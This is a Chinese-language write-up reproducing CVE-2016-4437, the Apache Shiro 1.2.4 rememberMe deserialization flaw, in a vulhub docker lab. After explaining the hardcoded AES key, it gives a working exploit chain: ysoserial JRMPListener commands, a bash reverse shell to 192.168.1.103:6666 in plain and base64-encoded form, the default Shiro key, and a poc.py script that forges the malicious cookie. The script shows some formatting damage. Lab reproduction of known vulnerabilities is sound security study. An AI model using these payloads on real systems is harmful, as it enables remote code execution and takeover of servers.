shiro复现报告
这里有一个我找到的docker环境,推荐大家使用
vulhub/shiro 1.2.4 331MB
关于反序列化
在序列化与反序列化的过程中,会有一个问题,就是在反序列化的时候会自动执行类的readObject方法。如果我们在readObject中有恶意的操作,即可造成攻击。
介绍shiro
Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。Apache Shiro框架提供了记住我(RememberMe)的功能,关闭浏览器再次访问时无需再登录即可访问。shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。服务器端识别身份解密处理cookie的流程则是:
(1)获取rememberMe cookie
(2)base64 解码
(3)AES解密(加密密钥硬编码)
(4)反序列化(未作过滤处理)
但是AES加密的密钥Key被硬编码(密钥初始就被定义好不能动态改变的)在代码里,这就意味着每个人通过源代码都能拿到AES加密的密钥。因此,攻击者可以构造一个恶意的对象,并且对其序列化、AES加密、base64编码后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终就造成了反序列化的RCE漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都可能会导致该漏洞的产生。
CVE-2016-4437
漏洞影响版本:
Apache Shiro <= 1.2.4
它的原理有些复杂,,,我还真不知道自己理解的对不对,大家可以参考下边我的想法(结合这篇公众号文章理解)
本人理解:大概就是因为程序里面因为A类定义的a方法直接传入了一个对象,并且没有进行反序列化,然后恰巧有这么一个类B它的构造方法是直接放回传入的参数,它的a方法也是直接返回传入的参数。那么也就是说 把xx.class 传入 B作为这个方法的数组的起点,通过第一次的a方法,就可以直接得到某个东西。后面再利用循环调用a就可以通过反射命令执行。
所以就是说,可以通过循环调用transform方法来执行命令。
然后其中还有很多细节,反正慢慢理解。
https://mp.weixin.qq.com/s/LbBsok1sRRTEJtXMwjx2zg
(晕了别怪我哈)
漏洞确定
1.burp抓包查看是否存在rememberMe=delete me参数
2.shiro工具测试命令执行
漏洞利用
1.这里我就先直接用雷石安全实验室大佬的现成工具了(白嫖的。。。)
2.这里还有一个可以自行编译,进行利用的工具,由于不知道为什么出错,暂时就没调试(因为懒)
https://github.com/frohoff/ysoserial.git
步骤:
1.先将文件下载至主机中
2.安装”mvn”命令,进行java文件的编译
3.ysoserial-0.0.6-SNAPSHOT-all.jar在/ysoserial/target/下
4.直接java执行命令。进行攻击
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash命令”
注意:
payloads/JRMPClient是结合exploit/JRMPListener使用的。
JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server 。
具体的利用过程是,将反序列化数据发送到 Server中,然后在Server中进行反序列化操作,并开启指定端口,然后再通过JRMPClient去发送攻击 payload;payloads/JRMPClient生成的payload是发送给目标服务器的,exploit/JRMPListener 是在自己的攻击机上使用的。
这里最后的bash命令需要使用Java Runtime配置bash编码(地址:http://www.jackson-t.ca/runtime-exec-payloads.html)。之所以需要编码而不是直接使用bash命令是因为在exec()函数中,">"管道符是没有意义的,会被解析为其他的意义,而我们的反弹shell命令中又必须使用,所以就需要编码。
另外,StringTokenizer类会破坏其中包含空格的参数,该类将命令字符串按空格分隔。比如 ls “My Directory”将被解释为ls ‘“My’ ‘Directory”‘。
(解释这么多,其实大概就是一句话,既然是反序列化,就一定涉及到编码,而编码的时候,管道符和空格会被解析,所以干脆就用编码去绕过)
这里用到的命令是常见的想要获取服务器的shell:
bash -i >& /dev/tcp/192.168.1.103/6666 0>&1
编码后:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
执行:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAzLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}”
接下来就是端口监测,poc.py代码如下
-----------------------------------------
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial-master-30099844c6-1.jar’, ‘JRMPClient’, command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode(“kPH+bIxk5D2deZiIxcaaaA==”)
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if name == ‘main‘:
payload = encode_rememberme(sys.argv[1])
print “rememberMe={0}”.format(payload.decode())
-----------------------------------------
python poc.py 监听服务器ip:端口
生成了payload
向服务器发送payload的cookie
成功获取到shell。